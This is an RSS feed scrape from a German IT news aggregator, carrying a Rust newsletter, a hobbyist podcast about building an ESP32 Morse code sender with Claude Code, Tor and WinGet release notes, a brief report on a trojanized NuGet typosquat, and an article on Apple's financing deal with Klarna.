    This advice echoes something I’ve heard repeatedly from some of the world’s most respected CIOs: High-performing organizations aren’t built on tighter control; they’re built on greater trust, supported by clear principles, shared expectations, and operating models that enable responsible decision-making at every level of the enterprise.

    Talasaz points out that technology leaders tend to speak in terms of transformation. He suggests CIOs consider a different word: reinvention.

    As he explains, transformation implies replacing what exists today with something new. Reinvention starts with a more clear-eyed and practical premise: Some things absolutely must change; others represent years, sometimes decades, of accumulated expertise, customer trust, operational discipline, and competitive advantage.

    Reinvention is about building on those strengths while also creating new ways to deliver value. The leaders making the greatest progress in their AI journeys seem to recognize that it’s less about abandoning the past than thoughtfully preparing the organization for the future.

    Closing the gap between strategy and execution

    Full-stack CIOs must be able to map out the various layers of execution and planning that need to be done at every level of the organization to be successful. To help with this, Talasaz has developed a data and AI framework that draws on his own experiences “from the keyboard to the boardroom.”

    As Talasaz sees it, too many organizations have been doing good work in isolation. “They’re doing a lot of the right things,” he says. “They’re just not connected.”

    Boards may be discussing growth while business leaders redesign customer experiences. Product teams may be prioritizing new capabilities while architects modernize platforms. Data teams may be improving quality while engineers focus on delivery. Every group makes meaningful progress within its own domain, yet somewhere between strategy and execution, the connective tissue begins to disappear. Talasaz’s framework brings those connecting points to the forefront.

    Crucially, the framework doesn’t begin with technology or AI or even with data. It begins with the experiences the organization hopes to create for its customers, employees, or partners. Many AI initiatives start with the question, “What can this technology do?” And indeed, we need to be inspired by the possibilities and challenged to think differently by what the technology can do. But, Talasaz emphasizes, we also need to ask what experiences we need to deliver for our business and how the technology can make that a reality.

    The framework challenges CIOs to answer that question first. Only after the experiences are clearly defined does the conversation move to the capabilities required to deliver it, the business activities that support those capabilities, the AI and data products that enable them, and finally the data foundation that makes everything possible.

    This shift in perspective ensures that, rather than allowing technology investments to search for business value, the business experience defines the technology required to deliver it. For CIOs, that’s more than a planning exercise. It’s a fundamentally different way of leading.

    Over the coming months, the P4P community will be convening a series of small CxO roundtables to explore these issues and work more deeply with Afshean Talasaz’s 6×6 Data and AI Framework. CIOs and other enterprise leaders interested in participating are welcome to reach out to me directly.

    ]]>         <![CDATA[Trojanisierte NuGet-Fork: Wie ein „Newtonsoft.Json“-Typosquat Crash-Game-Ergebnisse manipuliert]]> https://tsecurity.de/de/3688410/it-security-nachrichten/trojanisierte-nuget-fork-wie-ein-newtonsoftjson-typosquat-crash-game-ergebnisse-manipuliert/ https://tsecurity.de/de/3688410/it-security-nachrichten/trojanisierte-nuget-fork-wie-ein-newtonsoftjson-typosquat-crash-game-ergebnisse-manipuliert/ Thu, 23 Jul 2026 10:43:33 +0200 📰 IT Security Nachrichten tsecurity.de LONDON (IT BOLTWISE) – Eine scheinbar harmlose NuGet-Paketvariante, getarnt als „Newtonsoft.Json“, missbraucht Entwickler-Setups, um gezielt ein einziges Online-GlĂŒcksspiel-Backend zu manipulieren. Statt breit nach Daten zu suchen, wartet der Trojaner auf eine sehr spezifische Initialisierung und fĂŒttert dann rigged Round Results in Richtung eines angreiferkontrollierten Servers. Die Forschenden sehen darin eine besonders wirkungsvolle Supply-Chain-Attacke, weil der [
]

    Dieser Beitrag Trojanisierte NuGet-Fork: Wie ein „Newtonsoft.Json“-Typosquat Crash-Game-Ergebnisse manipuliert erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

    ]]>         <![CDATA[A SpaceX Falcon 9 rocket is expected to crash into the moon this August]]> https://tsecurity.de/de/3688354/it-nachrichten/a-spacex-falcon-9-rocket-is-expected-to-crash-into-the-moon-this-august/ https://tsecurity.de/de/3688354/it-nachrichten/a-spacex-falcon-9-rocket-is-expected-to-crash-into-the-moon-this-august/ Thu, 23 Jul 2026 10:24:56 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[This Week In Rust: This Week in Rust 661]]> https://tsecurity.de/de/3688059/tools/this-week-in-rust-this-week-in-rust-661/ https://tsecurity.de/de/3688059/tools/this-week-in-rust-this-week-in-rust-661/ Thu, 23 Jul 2026 07:18:12 +0200 đŸ’Ÿ Tools tsecurity.de Hello and welcome to another issue of This Week in Rust! Rust is a programming language empowering everyone to build reliable and efficient software. This is a weekly summary of its progress and community. Want something mentioned? Tag us at @thisweekinrust.bsky.social on Bluesky or @ThisWeekinRust on mastodon.social, or send us a pull request. Want to get involved? We love contributions.

    This Week in Rust is openly developed on GitHub and archives can be viewed at this-week-in-rust.org. If you find any errors in this week's issue, please submit a PR.

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    Updates from Rust Community

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    Crate of the Week

    This week's crate is xan, a TUI toolkit to work with CSV files.

    Thanks to Simeon H.K. Fitch for the suggestion!

    Please submit your suggestions and votes for next week!

    Calls for Testing

    An important step for RFC implementation is for people to experiment with the implementation and give feedback, especially before stabilization.

    If you are a feature implementer and would like your RFC to appear in this list, add a call-for-testing label to your RFC along with a comment providing testing instructions and/or guidance on which aspect(s) of the feature need testing.

    No calls for testing were issued this week by Rust, Cargo, Rustup or Rust language RFCs.

    Let us know if you would like your feature to be tracked as a part of this list.

    Call for Participation; projects and speakers

    CFP - Projects

    Always wanted to contribute to open-source projects but did not know where to start? Every week we highlight some tasks from the Rust community for you to pick and get started!

    Some of these tasks may also have mentors available, visit the task page for more information.

    • No Calls for participation were submitted this week.

    If you are a Rust project owner and are looking for contributors, please submit tasks here or through a PR to TWiR or by reaching out on Bluesky or Mastodon!

    CFP - Events

    Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.

    • No Calls for papers or presentations were submitted this week.

    If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a PR to TWiR or by reaching out on Bluesky or Mastodon!

    Updates from the Rust Project

    576 pull requests were merged in the last week

    Compiler
    Library
    Cargo
    Rustdoc
    Clippy
    Rust-Analyzer
    Rust Compiler Performance Triage

    The two most notable changes this week were #159115, which resulted in pretty nice instruction count wins for full incremental builds on several benchmarks, and #159091, which enabled PGO for rustdoc, which makes it ~3-4% faster across the board.

    There were two large rollups with tiny performance regressions, which made it difficult to find the offending PRs.

    Triage done by @Kobzol. Revision range: 5503df87..d527bc9b

    Summary:

    (instructions:u) mean range count
    Regressions ❌
    (primary)    		 0.4% [0.2%, 1.0%] 40
    Regressions ❌
    (secondary)    		 0.7% [0.2%, 4.6%] 69
    Improvements ✅
    (primary)    		 -2.0% [-6.2%, -0.2%] 136
    Improvements ✅
    (secondary)    		 -2.6% [-8.4%, -0.2%] 119
    All ❌✅ (primary) -1.4% [-6.2%, 1.0%] 176

    2 Regressions, 3 Improvements, 6 Mixed; 4 of them in rollups 34 artifact comparisons made in total

    Full report here.

    Approved RFCs

    Changes to Rust follow the Rust RFC (request for comments) process. These are the RFCs that were approved for implementation this week:

    • No RFCs were approved this week.
    Final Comment Period

    Every week, the team announces the 'final comment period' for RFCs and key PRs which are reaching a decision. Express your opinions now.

    Tracking Issues & PRs
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    No Items entered Final Comment Period this week for Cargo, Language Reference, Language Team or Rust RFCs.

    Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.

    New and Updated RFCs

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    If you are running a Rust event please add it to the calendar to get it mentioned here. Please remember to add a link to the event too. Email the Rust Community Team for access.

    Jobs

    Please see the latest Who's Hiring thread on r/rust

    Quote of the Week

    We were planning on publishing a blog post announcing this at the same time as making the repo public, but ran out of private repo CI usage 😭.

    – Carl Lerche on r/rust about the launch of topcoat

    Despite a lamentable lack of suggestions, llogiq is glad to have found this quote.

    Please submit quotes and vote for next week!

    This Week in Rust is edited by:

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    Discuss on r/rust

    ]]>         <![CDATA[Pan Am Plane Crash That Inspired Modern Safety Briefings Found After 74 Years]]> https://tsecurity.de/de/3687920/it-security-nachrichten/pan-am-plane-crash-that-inspired-modern-safety-briefings-found-after-74-years/ https://tsecurity.de/de/3687920/it-security-nachrichten/pan-am-plane-crash-that-inspired-modern-safety-briefings-found-after-74-years/ Thu, 23 Jul 2026 05:44:44 +0200 📰 IT Security Nachrichten tsecurity.de

    Read more of this story at Slashdot.

    ]]>         <![CDATA[HPR4689: Cheap Yellow Display Project Part 8: Writing the code]]> https://tsecurity.de/de/3687798/podcasts/hpr4689-cheap-yellow-display-project-part-8-writing-the-code/ https://tsecurity.de/de/3687798/podcasts/hpr4689-cheap-yellow-display-project-part-8-writing-the-code/ Thu, 23 Jul 2026 02:06:01 +0200 đŸŽ„ Podcasts tsecurity.de This show has been flagged as Clean by the host.

    Hello, again. This is Trey.

    Welcome to part 8 in my Cheap Yellow Display (CYD) Project series.

    If you wish to catch up on earlier episodes, you can find them on my HPR profile page https://www.hackerpublicradio.org/correspondents/0394.html

    It is hard to believe that I started this project and the HPR series to document it more than a year ago. Time flies. Life happens. I spent the last 8 months so focused on work related activities that I had to set the project aside. And once I set it aside, it was difficult to get back to again. The one time I tried, I found that my son's old Windows laptop, which I had commandeered to use for the project, was once and truly dead.

    We live in a different world now than we did when I began this project. Today, everything is about AI – how it is changing our world, increasing efficiencies, and even displacing certain types of jobs. "Vibe coding" is transforming the way we make software, and now everyone is a developer.

    Within my organization, we are all being strongly encouraged to learn more about AI and apply it in our daily work. We are blessed to have access to a wide range of training and to powerful tools which support the process. Several colleagues within my organization and outside my organization have recommended Claude Code -- for development, for organization, for brainstorming, and for much more. My role is not that of a developer, and I have had no need for Claude Code at work. There are plenty of other tools for me to use.

    But at home, I thought... I could install Claude Code at home to experiment with and to learn. And then it hit me. I wonder if I could use Claude Code to help me with my stalled CYD project.

    "Hello, my name is Trey, and I am a fraud."

    OK. I don't think I am a fraud, but having never used such a powerful tool to help me code, I feel a little bit like a fraud, with Claude doing the work for me. Let's talk through what we did.

    As I mentioned, I was unable to use the laptop on which I created the original GUI code. But no worries, because It was all on GitHub, right?

    So, I began by trying to install Claude Code on one of my Ubuntu machines. That failed miserably, and all the instructions I found online recommended running it on Windows. So I transitioned to installing Claude Code on a freshly built Windows 10 system using some old hardware which will not support Windows 11. Surprisingly, It seems that Claude wants to run within Ubuntu on Windows Subsystem for Linux (WSL).

    Once I went through all the hoops for installing and setting up my basic subscription, I got to work. I created a new directory to use for all my project files, and another one for Claude to write all its output files to.

    Everything I have read and heard about using Claude Code for a project like this recommended beginning by using Claude to create the project plan. So my first prompt was as follows:

    "I am building a project using an ESP32 cheap yellow display. The final goal is to have a device with a graphical user interface which will allow me store several text messages, each assigned to their own specific button. Then, when one of the buttons is pressed, the message will be converted into morse code, and the message will be sent by blinking an onboard LED. I already have the initial design for the GUI coded in my github repository. Please construct a detailed step by step plan for building this application"

    I wanted to keep it simple at the beginning, so even though I plan to use an opto-isolated relay for the output, I am starting out using the built in LED.

    Claude asked me for the URL for my Github repository, and I provided it. After thinking for a bit, it produced a project plan.

    CYD Morse Sender — Step-by-Step Build Plan

    What You Already Have

    - 3 fully designed LVGL screens (Send, Config, Keyboard)

    - 7 send buttons with green styling on the Send Screen

    - Speed slider (5–30 WPM) and program slot dropdown on Config Screen

    - Text area + LVGL keyboard widget on Keyboard Screen

    - Display driver and touchscreen hardware initialized (but touch read was stubbed out)

    ---

    Phase 1: Fix Touchscreen Input

    Initialize the XPT2046 on VSPI, replace the hardcoded touched = false with real touch data, calibrate raw ADC coordinates to screen pixels, and verify all three nav buttons transition screens correctly.

    Phase 2: Persistent Message Storage

    Use Preferences.h / NVS to store 7 messages ("msg0" – "msg6") that survive power cycles. Load on boot and populate send button labels.

    Phase 3: Config Screen — Slot Selection & Speed

    Wire the Program dropdown to g_selectedSlot, wire the Speed slider to g_wpm with a live WPM label, and wire the Set button to clear the text area and navigate to the Keyboard Screen.

    Phase 4: Keyboard Screen — Capture and Save Text

    On keyboard OK (LV_EVENT_READY): read the text area, save to NVS, update the send button label, navigate back. On Cancel: navigate back without saving.

    Phase 5: Morse Code Engine

    Build morse.h with the full A–Z / 0–9 lookup table, a textToMorse() converter, and Paris-standard timing (unit_ms = 1200 / wpm).

    Phase 6: Non-Blocking LED Transmission

    State machine (IDLE / LED_ON / LED_OFF) driven by millis() in a morseUpdate() function called every loop — no delay(). LED on GPIO 17 (blue).

    Phase 7: Wire the Send Buttons

    Each button calls startMorse(getMessage(slot)) if not already transmitting. Disable all send buttons during TX; re-enable when the state machine reaches the end.

    Phase 8: Integration & Polish

    Stop button, WPM persistence, empty-slot guard, serial debug output, final touch calibration, end-to-end test checklist.

    ---

    Recommended order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8

    This was wild! Claude determined exactly how far along I was in the project, and also alerted me to the fact that the "touch read was stubbed out". Ugh. This means that the files I had uploaded to GitHub were my original GUI files (Episode 05 – HPR4532 - https://hackerpublicradio.org/eps/hpr4532/index.html ) and not the ones that I finally got working properly (Episode 07 – HPR4624 - https://hackerpublicradio.org/eps/hpr4624/index.html ). That was my own fault. Did I mention that I don't get Git? I REALLY need to learn to properly use Git!

    But, we have a plan, broken down by eight numbered phases. And they seem to address all the functionality I wanted with a few additional things I had not thought about. Interestingly, even though these phases are sequentially numbered, Claud recommended that we approach them in a bizarre order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8 .

    Alright. Let's see what we can do. The first phase is to fix the touchscreen input.

    Claude took me through it step-by-step, asking as it needed to read specific project files.

    Finally, it wrote a new ui.ino code file to my speficied output directory for me to test. I copied it into the correct file location, said a quick prayer, compiled in Arduino IDE, and downloaded to the CYD.

    Well, that is... interesting. The display looked nothing like it was supposed to. There were vertical green bars with smaller dashed green vertical stripes in them. I will include a picture in the show notes so that you can see what it looked like and why it was so difficult to describe.

    I spent the next hour or so trying to explain what I was seeing to a chat bot. Claude recommended potential fixes which either did nothing or made the situation worse. I began questioning whether this was a good idea, how people actually gained efficiencies talking to a bot, and even several life choices.

    Then I had a thought. I prompted Claude:

    If I were to take a picture of the screen on the cheap yellow display and copy it into the output folder, would you be able to analyze it to better determine what is wrong and how to fix it?

    Shockingly, Claude answered in the affirmative, and told me to copy the picture to the output folder and let it know when to proceed. It analyzed the picture and more of the supporting files it had copied from my GitHub, asking each time if it could access that file. It determined that my original code was written for a flavor of LVGL version 8 and I was now using LVGL 9.5.

    It recommended changes, and then asked permission to make those changes, file by file. .h files & .c files, Finally, I just gave it permission to edit the files in the project folder without asking for permission for each file each time. Claude was still explaining each change, showing me exactly what would be changed, and asking for permission, so that I could review all of the changes. But now it was not asking additional permission to write to each of the impacted files.

    Next, Code compiled and downloaded. Different screen, but not right. Again, I took a picture and gave it to Claude to analyze. So, Claude paused and altered the code to generate a specific test pattern overtop of the GUI.

    The test pattern was supposed to cover the entire rectangular screen. But parts of the pattern were in a square on the screen and parts were not. Another photograph and analysis, told Claude that there were some rotation/screensize issues.

    We repeated this several times. Some resulted in improvement, and others did not.

    This is the point where I noticed something interesting. Not about Claude, specifically, or about the app. But I noticed something interesting about myself and about the process.

    Previously, when I was working through some of these challenges without Claud, I found myself becoming more and more stressed, frustrated, and angry, until I found a solution. Then another problem would repeat the cycle. Success in the end was great, but the emotional extremes during the process were not always pleasant.

    Now, I was effectively managing the project, and relaying information to the resource responsible for fixing the problems -- a very different experience.

    But I also ran into another issue. Claude became absolutely certain that the problem revolved around the device not accurately knowing where the 4 corners of the screen were. But in reality, the output of the test pattern was rotated 90 degrees from the actual screen. It took several iterations of me insisting that the problem had to do with screen orientation and not corner coordinates. It was interesting to experience the tool doubling down on an obvious mistake, but we finally resolved that.

    Again, while it was frustrating, it was much less stressful.

    We proceeded to Phase 2: Persistent Message Storage where we ensured that the button labels on the send screen were stored in the devices persistent storage, so that, when they are edited to contain the message they should send, that information would survive a reboot.

    Next, we combined elements of Phase 5: Morse Code Engine , Phase 6: Non-Blocking LED Transmission , and Phase 7: Wire the Send Buttons together. Building the morse code engine was an area I had been thinking about for a while. I already had working parts of something similar in the Arduino practice oscillator I have referenced a few times in this series. The code for the practice oscillator may be found on my GitHub, but it was all based on original code from jmharvey1, with my only contribution being making pin assignments variables so that the code could easily be ported to different devices.

    So, I was happy that we were building the morse code engine directly. The code for it may be found in morse.h, which uses a constant character lookup table to define each character. Without any specific direction from me, Claude used the PARIS timing methods I have already described within Episode 6 of this series. It defines timing for DOT, DASH, LETTER_GAP, and WORD_GAP, and all are based on a simple calculation of 1200 ms / the number of words per minute (WPM) we wish to transmit.

    Along the way, we discovered that, if we tried to use the delay() function, it would crash the program due to a conflict with the LVGL timer used for touchscreen inputs. Claude altered all the delays accordingly.

    Then, Phase 3: Config Screen — Slot Selection & Speed allowed us to configure the WPM we wished to use in addition to selecting a specific Send button to reconfigure. This forced us to work on Phase 4: Keyboard Screen — Capture and Save Text which is used to type the entries for each Send button. At this point, I also decided that we would want to also use the Keyboard Screen to send ad hoc morse as we typed it.

    During this phase we discovered several bugs which seemed to cause random freezes. Careful troubleshooting with messages output to the Arduino IDE's serial console helped us narrow down the causes and remedy them.

    Finally all the tests worked and I am able to merrily pre-configure macro buttons with custom messages and use the CYD to send the morse code for those messages to the on-board LED at whichever rate I specify.

    I have noticed in my presentation of this narrative that I repeatedly slip into the first person plural terms "we" and "us" instead of the first person singular terms "I" and "me". I have unconsciously personified Claud and recognized it as an integral part of my (formerly one person) development team.

    I finally configured Claude to connect to my GitHub repo and upload all the files and documentation. We additionally created a CYD-Narrative.md file which describes in more detail all the work which was done on the project. I still do not 100% get git, but we are successfully using it.

    You can find all these files in my GitHub repo ( https://github.com/jttrey3/CYD_MorseSender ) where they are shared under a GPL 3.0 license.

    There are still several additional steps I plan to complete in the next few months.

    1. I will be integrating an opto-isolated relay which will allow me to plug the device into the straight key input on any amateur radio. This will require a battery power source, charge controller, and more hardware.

    1. I... make that "We" (Claude & I) will be modifying the code to support an audio side tone through an attached speaker when sending code
    2. We will add an output selection switch to the config page to choose any combination of speaker, relay, or LED as output.
    3. We will develop a downloadable firmware which I hope to share with the Cheap Yellow Display community.

    If you can think of any additional features you would like to see integrated, please drop me an email using the address in my HPR profile.

    I may also work with a friend to attempt to 3d print a case for the entire contraption, and I will be sure to record additional episodes sharing the process.

    I have learned so much throughout this project, about the CYD, ESP32, GUIs, Claude Code, GitHub, and most of all, about myself.

    Does using AI to develop this code make me a fraud? It still feels like it in some ways.

    Does it make me more productive? ABSOLUTELY! I made consistent forward progress when I only had 30-60 minutes each day to work on it, and everything discussed in this episode was completed in less than a week. If I had been able to work on it for a few hours uninterrupted, it may have only taken me 3-5 hours.

    Does it empower and inspire me to do more projects like this? 100% I feel like I had support working with me the whole way. I was less stressed overall, and it had less of an impact on the amount of and quality of time I spent with my family.

    I will be wrapping up this series soon, without any more 6 month gaps, I hope.

    Until next time...

    Provide feedback on this episode.

    ]]>         <![CDATA[Windows Package Manager 1.30.70-preview]]> https://tsecurity.de/de/3687716/downloads/windows-package-manager-13070-preview/ https://tsecurity.de/de/3687716/downloads/windows-package-manager-13070-preview/ Thu, 23 Jul 2026 00:42:00 +0200 đŸ’Ÿ Downloads tsecurity.de This is a preview build of WinGet for those interested in trying out upcoming features and fixes. While it has had some use and should be free of major issues, it may have bugs or usability problems. If you find any, please help us out by filing an issue.

    New in v1.30

    Nothing yet.

    Bug Fixes

    • Fixed a crash (0x8000ffff) when using --disable-interactivity with the Resume experimental feature enabled during install operations.

    What's Changed

    New Contributors

    Full Changelog: v1.29.240...v1.30.70-preview

    ]]>         <![CDATA[Did you know you can use an AirPod to make an 'over-engineered frisbee stat tracker' that calculates spin and speed? No, of course you didn't — but someone's done it, and it works really well]]> https://tsecurity.de/de/3687692/it-nachrichten/did-you-know-you-can-use-an-airpod-to-make-an-over-engineered-frisbee-stat-tracker-that-calculates-spin-and-speed-no-of-course-you-didnt-but-someones-done-it-and-it-works-really-well/ https://tsecurity.de/de/3687692/it-nachrichten/did-you-know-you-can-use-an-airpod-to-make-an-over-engineered-frisbee-stat-tracker-that-calculates-spin-and-speed-no-of-course-you-didnt-but-someones-done-it-and-it-works-really-well/ Thu, 23 Jul 2026 00:09:37 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Arti 2.5.0 released: Stable Counter Galois Onion]]> https://tsecurity.de/de/3687540/it-security-tools/arti-250-released-stable-counter-galois-onion/ https://tsecurity.de/de/3687540/it-security-tools/arti-250-released-stable-counter-galois-onion/ Wed, 22 Jul 2026 22:34:39 +0200 đŸ’Ÿ IT Security Tools tsecurity.de

    Arti is our ongoing project to create a next-generation Tor implementation in Rust. We're happy to announce the latest release, Arti 2.5.0.

    This release marks Counter Galois Onion as a stable feature and includes it in full feature builds. Likewise, Congestion Control is now enabled in default builds of Arti, increasing the overall speed without any further configuration.

    Unfortunately, this release also comes with the disclosure of two medium-severity DoS security issues, TROVE-2026-024 as well as TROVE-2026-027, whose fixes are of course included within the release.

    Additionally, this release continues our ongoing development towards using Arti as a relay and as a directory authority.

    Another noteworthy change is that we've increased our minimum supported Rust version to Rust 1.91, released in October 2025.

    Of course, this release also contains a number of bugfixes, cleanups, and improvements throughout various parts of the code base.

    For full details on what we've done, including API changes, and for information about many more minor and less-visible changes, please see the CHANGELOG.

    For more information on using Arti, see our top-level README, and the documentation for the arti binary.

    Thanks to everybody who's contributed to this release, including 5225225, Neel Chauhan, hjrgrn, moumenalaoui, pryty26.

    Also, our deep thanks to our sponsors for funding the development of Arti!

    ]]>         <![CDATA[New Alpha Release: Tor Browser 16.0a8]]> https://tsecurity.de/de/3687537/it-security-tools/new-alpha-release-tor-browser-160a8/ https://tsecurity.de/de/3687537/it-security-tools/new-alpha-release-tor-browser-160a8/ Wed, 22 Jul 2026 22:34:02 +0200 đŸ’Ÿ IT Security Tools tsecurity.de

    Tor Browser 16.0a8 is now available from the Tor Browser download page and also from our distribution directory.

    This version includes important security updates to Firefox.

    ⚠ Reminder: The Tor Browser Alpha release-channel is for testing only. As such, Tor Browser Alpha is not intended for general use because it is more likely to include bugs affecting usability, security, and privacy.

    Moreover, Tor Browser Alphas are now based on Firefox's betas. Please read more about this important change in the Future of Tor Browser Alpha blog post.

    If you are an at-risk user, require strong anonymity, or just want a reliably-working browser, please stick with the stable release channel.

    Send us your feedback

    If you find a bug or have a suggestion for how we could improve this release, please let us know.

    Full changelog

    The full changelog since Tor Browser 16.0a7 is:

    ]]>         <![CDATA[T-Mobile Cracks Down on Samsung Store Upgrades by Adding $35 Device Fee]]> https://tsecurity.de/de/3687395/it-nachrichten/t-mobile-cracks-down-on-samsung-store-upgrades-by-adding-35-device-fee/ https://tsecurity.de/de/3687395/it-nachrichten/t-mobile-cracks-down-on-samsung-store-upgrades-by-adding-35-device-fee/ Wed, 22 Jul 2026 21:03:19 +0200 📰 IT Nachrichten tsecurity.de Device connection charges or upgrade fees are not new to the US wireless industry. If you head to AT&T or T-Mobile and upgrade to a new device, they are going to charge you a fee for doing so, on top of the price of your new phone. Of course, Verizon recently ended upgrade fees and...

    Read the original post: T-Mobile Cracks Down on Samsung Store Upgrades by Adding $35 Device Fee

    ]]>         <![CDATA[Google’s Gemini Intelligence is Here and It’s on the Galaxy Z Fold 8]]> https://tsecurity.de/de/3687387/it-nachrichten/googles-gemini-intelligence-is-here-and-its-on-the-galaxy-z-fold-8/ https://tsecurity.de/de/3687387/it-nachrichten/googles-gemini-intelligence-is-here-and-its-on-the-galaxy-z-fold-8/ Wed, 22 Jul 2026 21:03:07 +0200 📰 IT Nachrichten tsecurity.de As a part of today’s big Samsung launch, Google brought out a couple of big announcements of its own, which of course, are tied to Samsung’s new foldable phones, like the Galaxy Z Fold 8. Google is launching Gemini Intelligence, fully introducing Gemini Notebook, and they have new designs to show off for their upcoming...

    Read the original post: Google’s Gemini Intelligence is Here and It’s on the Galaxy Z Fold 8

    ]]>         <![CDATA[OnionHop 3.7.2]]> https://tsecurity.de/de/3687273/it-security-tools/onionhop-372/ https://tsecurity.de/de/3687273/it-security-tools/onionhop-372/ Wed, 22 Jul 2026 20:29:10 +0200 đŸ’Ÿ IT Security Tools tsecurity.de Makes bridge-transport failures diagnosable and stops the scanner trusting dead webtunnel bridges.

    Fixed

    • Bridge scanner verifies webtunnel for real. The scanner now confirms a webtunnel bridge with an actual handshake (a WebSocket upgrade to the bridge's own endpoint, which must return 101) instead of only checking that its CDN front answered on 443. A dead webtunnel bridge whose front is still up is now correctly shown as unreachable, so a scanned webtunnel list no longer marks bridges as working when Tor cannot connect through them (#74).
    • Transport start failures now say why. When a pluggable transport could not run, Tor only reported an opaque "Managed proxy ... terminated with status code 2", which hid the real cause (this is what made obfs4 and snowflake "connect then immediately fail" for some users). The app now preflights each transport binary and logs the actual reason, a crash, a wrong-architecture binary, a missing execute bit, and so on, so the problem is diagnosable instead of opaque (#74).

    Downloads

    Platform File
    Windows installer OnionHop-Setup-v3.exe
    Windows portable OnionHopV3-Portable-3.7.2-win-x64.zip
    Windows CLI OnionHop-CLI-Setup-3.7.2.exe / OnionHopCLI-Portable-3.7.2-win-x64.zip
    Linux OnionHop-x86_64.AppImage
    Linux CLI OnionHopCLI-3.7.2-linux-x64.tar.gz
    macOS (Apple Silicon) OnionHop-3.7.2-macOS-arm64.dmg
    macOS (Intel) OnionHop-3.7.2-macOS-x64.dmg
    macOS CLI (Apple Silicon) OnionHopCLI-3.7.2-macos-arm64.tar.gz
    macOS CLI (Intel) OnionHopCLI-3.7.2-macos-x64.tar.gz
    ]]>         <![CDATA[Own nothing, upgrade everything: Apple’s new Klarna deal]]> https://tsecurity.de/de/3687133/it-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/ https://tsecurity.de/de/3687133/it-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/ Wed, 22 Jul 2026 19:18:48 +0200 📰 IT Nachrichten tsecurity.de

    Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to launch its new deal with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread across up to three years.

    This matters because when combined with Apple One and Apple’s Creator Studio subscriptions, the Klarna arrangement brings Apple closer to offering a full subscription model for hardware, software, and services. The only thing you don’t get under the new arrangement is AppleCare, for which you’ll allegedly need to pay extra.

    Moving closer to hardware-as-a-service

    Apple has slowly been transitioning toward hardware-as-a-service for almost a decade. Back then, Forrester analyst Frank Gillet predicted the company would eventually offer bundles of services and products for a monthly, all-in, fee. 

    This isn’t quite where we are yet; you still need at least three subscriptions to get close. But, after the better part of a decade, Apple has moved much nearer to the hardware-as-a-service idea.

    There are some products reportedly excluded from the arrangement, including MacBook Neo, Apple Watch SE, the entry-level iPad, and iPhone 16. Clearly, Apple sees those products as sufficiently affordable. 

    Easy payments for RAM-ageddon

    The new Klarna arrangement comes as Apple is forced to increase product prices as AI-driven memory price inflation becomes widely felt across every economy. In theory, I assume, Apple hopes to make its products available to cash-strapped consumers who need new hardware, while also navigating a time of deep economic tumult and uncertainty. It’s thought the company has previously rejected these plans to protect normal hardware sales, but normality is a kingdom we no longer seem to possess. Interesting times. Probable inflation incoming.

    “Apple Upgrade lands at precisely the moment Apple needs it,” IDC analyst Francisco Jeronimo wrote in a note seen by Computerworld. “Having just pushed Mac and iPad prices up on the back of the memory shortage, with iPhone increases widely expected in September — as well as the new iPhone foldable expected at $2,500 — Apple’s real risk is that rising prices even further can impact the upgrade cycle.” 

    New age, new shopping habits

    The introduction of the scheme gives consumers a way to purchase the company’s popular high-end devices when they are introduced — no doubt,at higher cost — this fall. Plus, of course, if it’s good enough for GM, it’s good enough for Apple.

    It’s all about attitude, too. From Apple’s perspective, it has done plenty of the groundwork required to convince its customers that subscription payments for things you value are no bad thing. 

    Reluctance to embrace “Access Not Ownership’”purchasing models has dropped dramatically since Apple — and CEO Tim Cook — first began banging the drum for services income. Apple’s services stream has now become its second-biggest revenue driver after the iPhone. It has over 1 billion paid subscriptions, and an active hardware installed base of more than 2.5 billion devices globally.

    A combination of changed customer habits and external threat means the stars are now aligned for hardware-as-a-service models. “Reframing a device as a low monthly payment protects that [upgrade] cadence and allows Apple to start marketing their products as device-as-a-service to consumers, which no other vendor was ever able to do,” Jeronimo wrote to me. 

    There is a one-more-thing aspect to this: the products are effectively being leased, a new approach that will give Apple a stronger grip on EOL devices, helping it grab more of them for refurbishment, resale, and recycling. Over time, this will give the company a much stronger grip on the lucrative second-user market that exists around Apple equipment, even while for almost every consumer product we find the life we want is something we can rent, but probably can’t afford to own.

    Managing future risk

    The other solid reason to take a partnership approach is risk management. Apple had intended to develop its own buy-now, pay-later scheme via Apple Pay Later, but abandoned that plan as it became riskier with rising bank rates. “Also, by backing the program with Klarna rather than reviving the in-house subscription plan it shelved in 2024, Apple captures the demand upside without taking the credit risk onto its own balance sheet,” Jeronimo said.

    You can follow me on social media! Join me on BlueSky,  LinkedIn, Mastodon and subscribe to The Core.

    ]]>         <![CDATA[TCM Course Release | New Creator | Cybersecurity | AMA]]> https://tsecurity.de/de/3686995/it-security-video/tcm-course-release-new-creator-cybersecurity-ama/ https://tsecurity.de/de/3686995/it-security-video/tcm-course-release-new-creator-cybersecurity-ama/ Wed, 22 Jul 2026 18:22:14 +0200 đŸŽ„ IT Security Video tsecurity.de Author: The Cyber Mentors - Bewertung: 17x - Views:229

    Sponsor a Video: https://www.tcm.rocks/Sponsors
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    Get Trained: https://www.tcm.rocks/acad-y
    Get Certified: http://www.tcm.rocks/certs-y
